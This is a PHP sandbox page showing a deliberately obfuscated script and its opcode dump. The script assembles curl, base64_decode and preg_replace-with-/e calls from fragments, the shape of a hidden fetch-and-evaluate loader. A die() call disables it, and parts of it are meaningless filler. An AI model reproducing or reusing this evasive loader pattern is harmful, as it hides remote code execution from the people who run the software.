3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( 'implode', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg' . '_replace', 'preg' . '_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23 ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = $vars[13][2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", $vars[13]( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . $vars[10]) . ' , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . strrev($vars[11])) . ' , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; $vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; var_dump($vars); die(); while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, $vars[2] . "_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; $vars[13]($vars[16], $ { $vars[16][3] } [0 + $i] . $x[5], $vars[17]); $i++; } echo ($zvars);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/m3A8I
function name:  (null)
number of ops:  95
compiled vars:  !0 = $vars, !1 = $x, !2 = $i, !3 = $q, !4 = $zvars
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, <array>
   50     1        INIT_ARRAY                                       ~6      '%28%28+%24vars%5B15%5D+%3D+%24vars%5B+%24vars%5B0%5D+%5D%28+%24vars%5B15%5D%28+strrev%28+implode%28+array_map%28%22xvars%22%2C+%24vars%5B14%5D%28+%22%2F%5B%5CD%5D%2B%2F%22%2C+%24vars%5B13%5D%28+%22%2Fvars%2F%22%2C+%22%2B%22%2C+%24%7B%24vars%5B5%5D%5B1%5D%7D%5B+%24vars%5B22%5D+-1+%5D+.%24%7B%24vars%5B5%5D%5B1%5D%7D%5B+%24vars%5B22%5D+%2B0+%5D+.%24%7B%24vars%5B5%5D%5B1%5D%7D%5B+%24vars%5B22%5D+%2B1+%5D+%29%29+%29+%29+%29+%29+%29%29%3F0%3A0+%29'
   51     2        INIT_FCALL                                               'strtoupper'
          3        FETCH_DIM_R                                      ~7      !0, 2
          4        FETCH_DIM_R                                      ~8      !0, 9
          5        CONCAT                                           ~9      ~7, ~8
          6        CONCAT                                           ~10     ~9, '_'
          7        FETCH_DIM_R                                      ~11     !0, 10
          8        CONCAT                                           ~12     ~10, ~11
          9        SEND_VAL                                                 ~12
         10        DO_ICALL                                         $13     
         11        CONCAT                                           ~14     '%28%28+%24vars%5B+%24vars%5B0%5D--+%5D%28+%24vars%5B15%5D%2C', $13
         12        CONCAT                                           ~15     ~14, '+%2C+1%3C%3C5+%29%29%3F0%3A0%29'
         13        ADD_ARRAY_ELEMENT                                ~6      ~15
   52    14        INIT_FCALL                                               'strtoupper'
         15        FETCH_DIM_R                                      ~16     !0, 2
         16        FETCH_DIM_R                                      ~17     !0, 9
         17        CONCAT                                           ~18     ~16, ~17
         18        CONCAT                                           ~19     ~18, '_'
         19        INIT_FCALL                                               'strrev'
         20        FETCH_DIM_R                                      ~20     !0, 11
         21        SEND_VAL                                                 ~20
         22        DO_ICALL                                         $21     
         23        CONCAT                                           ~22     ~19, $21
         24        SEND_VAL                                                 ~22
         25        DO_ICALL                                         $23     
         26        CONCAT                                           ~24     '%28%28+%24vars%5B+%24vars%5B0%5D+%5D%28+%24vars%5B15%5D%2C', $23
         27        CONCAT                                           ~25     ~24, '+%2C+2%3E%3E1+%29%29%3F0%3A0%29'
         28        ADD_ARRAY_ELEMENT                                ~6      ~25
   53    29        ADD_ARRAY_ELEMENT                                ~6      '%28%28+%24zvars+%3D+%24vars%5B+%24vars%5B0%5D+%5D%28+%24vars%5B15%5D+%29%29%3F0%3A0%29'
   54    30        ADD_ARRAY_ELEMENT                                ~6      '%28%28+%24vars%5B+%24vars%5B0%5D+%5D%28+%24vars%5B15%5D+%29%29%3F0%3A0%29'
   55    31        ADD_ARRAY_ELEMENT                                ~6      '.strtoupper%28%24vars%5B0%5D%29%3B'
   56    32        ADD_ARRAY_ELEMENT                                ~6      '-%3E%24vars%5B100%5D%28%24vars%5B85%5D.%24vars%5B52%5D%28%24vars%5B80%5D%28%24vars%5B38%5D.%24vars%5B66%5D%28%24vars%5B52%5D%2C%24vars%5B80%5D%28%24vars%5B34%5D%28%24vars%5B63%5D%28%24vars%5B91%5D%28%24vars%5B55%5D.%24vars%5B97%5D%2C%24vars%5B38%5D%29%24vars%5B31%5D%2C%24vars%5B70%5D%28%24vars%5B98%5D%28%24vars%5B54%5D%29%24vars%5B32%5D.%24vars%5B79%5D.%24vars%5B86%5D%2C%24vars%5B51%5D%28%24vars%5B90%5D%29%24vars%5B78%5D.%24vars%5B102%5D%28%24vars%5B51%5D.%24vars%5B68%5D.%24vars%5B61%5D.%24vars%5B98%5D%28%24vars%5B89%5D%28%29%29'
   57    33        ADD_ARRAY_ELEMENT                                ~6      '%28%28%24vars%5B68%5D.%24vars%5B70%5D%28%24vars%5B97%5D%28%24vars%5B38%5D.%24vars%5B52%5D%29%24vars%5B71%5D%28%24vars%5B28%5D%29%24vars%5B46%5D%29%24vars%5B53%5D%29%24vars%5B78%5D.%24vars%5B100%5D%2C%24vars%5B34%5D%28%24vars%5B64%5D%2C%24vars%5B71%5D.%24vars%5B29%5D%29%24vars%5B51%5D.%24vars%5B90%5D.%24vars%5B80%5D%28%24vars%5B89%5D%2C%24vars%5B34%5D%28%24vars%5B68%5D.%24vars%5B71%5D.%24vars%5B91%5D%28%24vars%5B38%5D.%24vars%5B86%5D%29%24vars%5B80%5D.%24vars%5B89%5D%29%24vars%5B30%5D%2C%24vars%5B68%5D%2C%29%29'
   58    34        ADD_ARRAY_ELEMENT                                ~6      '%28%28%24vars%5B70%5D%29%24vars%5B102%5D%29%24vars%5B71%5D%29%24vars%5B68%5D%2C%24vars%5B78%5D%29%24vars%5B99%5D.%24vars%5B96%5D%29%24vars%5B52%5D.%24vars%5B81%5D.%24vars%5B98%5D%2C%24vars%5B100%5D%28%24vars%5B52%5D%2C%24vars%5B79%5D%2C%24vars%5B96%5D%28%24vars%5B89%5D%29%24vars%5B52%5D.%24vars%5B79%5D%29%24vars%5B96%5D%29%24vars%5B101%5D.%24vars%5B31%5D.%24vars%5B57%5D%28%24vars%5B99%5D.%24vars%5B92%5D%28%24vars%5B49%5D%28%24vars%5B80%5D%28%24vars%5B29%5D%2C%24vars%5B63%5D%29%24vars%5B53%5D%28%24vars%5B78%5D%28%29'
   49    35        ASSIGN                                                   !1, ~6
   63    36        INIT_FCALL                                               'array_push'
         37        SEND_REF                                                 !0
         38        SEND_VAL                                                 'array_push'
         39        DO_ICALL                                         $28     
         40        SUB                                              ~29     $28, 1
         41        ASSIGN_DIM                                               !0, 0
         42        OP_DATA                                                  ~29
   64    43        ASSIGN                                           ~30     !3, 0
         44        ASSIGN                                                   !2, ~30
   66    45        INIT_FCALL                                               'var_dump'
         46        SEND_VAR                                                 !0
         47        DO_ICALL                                                 
   67    48      > EXIT                                                     
   68    49*       JMP                                                      ->91
   70    50*       IS_NOT_EQUAL                                             !2, 2
         51*       JMPZ                                                     ~33, ->69
         52*       FETCH_DIM_R                                      ~34     !0, 0
         53*       SUB                                              ~35     ~34, !3
         54*       FETCH_DIM_R                                      ~36     !0, ~35
         55*       INIT_DYNAMIC_CALL                                        ~36
         56*       SEND_VAR_EX                                              !0
         57*       FETCH_DIM_R                                      ~37     !0, 2
         58*       CONCAT                                           ~38     ~37, '_'
         59*       ADD                                              ~39     3, !3
         60*       FETCH_DIM_R                                      ~40     !0, ~39
         61*       CONCAT                                           ~41     ~38, ~40
         62*       SEND_VAL_EX                                              ~41
         63*       DO_FCALL                                      0  $42     
         64*       JMPZ_EX                                          ~43     $42, ->67
         65*       POST_INC                                         ~44     !3
         66*       BOOL                                             ~43     ~44
         67*       QM_ASSIGN                                        ~45     ~43
         68*       JMP                                                      ->70
         69*       QM_ASSIGN                                        ~45     0
         70*       FREE                                                     ~45
   71    71*       FETCH_DIM_RW                                     $46     !0, 0
         72*       PRE_INC                                                  $46
   72    73*       FETCH_DIM_R                                      ~48     !0, 13
         74*       INIT_DYNAMIC_CALL                                        ~48
         75*       CHECK_FUNC_ARG                                           
         76*       FETCH_DIM_FUNC_ARG                               $49     !0, 16
         77*       SEND_FUNC_ARG                                            $49
   74    78*       FETCH_DIM_R                                      ~50     !0, 16
         79*       FETCH_DIM_R                                      ~51     ~50, 3
   77    80*       ADD                                              ~53     0, !2
   74    81*       FETCH_R                      local               ~52     ~51
   77    82*       FETCH_DIM_R                                      ~54     ~52, ~53
         83*       FETCH_DIM_R                                      ~55     !1, 5
         84*       CONCAT                                           ~56     ~54, ~55
         85*       SEND_VAL_EX                                              ~56
         86*       CHECK_FUNC_ARG                                           
         87*       FETCH_DIM_FUNC_ARG                               $57     !0, 17
         88*       SEND_FUNC_ARG                                            $57
         89*       DO_FCALL                                      0          
   78    90*       PRE_INC                                                  !2
   68    91*       IS_SMALLER                                               !2, 5
         92*       JMPNZ                                                    ~60, ->50
   81    93*       ECHO                                                     !4
         94*     > RETURN                                                   1

Function xvars:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 10
Branch analysis from position: 5
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/m3A8I
function name:  xvars
number of ops:  13
compiled vars:  !0 = $n, !1 = $vars
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   42     0  E >   RECV                                             !0      
   44     1        BIND_GLOBAL                                              !1, 'vars'
   45     2        ASSIGN_OP                                     1          !0, 19
   46     3        IS_SMALLER                                               19, !0
          4      > JMPZ                                                     ~3, ->10
          5    >   INIT_FCALL                                               'chr'
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $4      
          8        QM_ASSIGN                                        ~5      $4
          9      > JMP                                                      ->11
         10    >   QM_ASSIGN                                        ~5      ''
         11    > > RETURN                                                   ~5
   47    12*     > RETURN                                                   null

End of function xvars

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
171.58 ms | 1404 KiB | 23 Q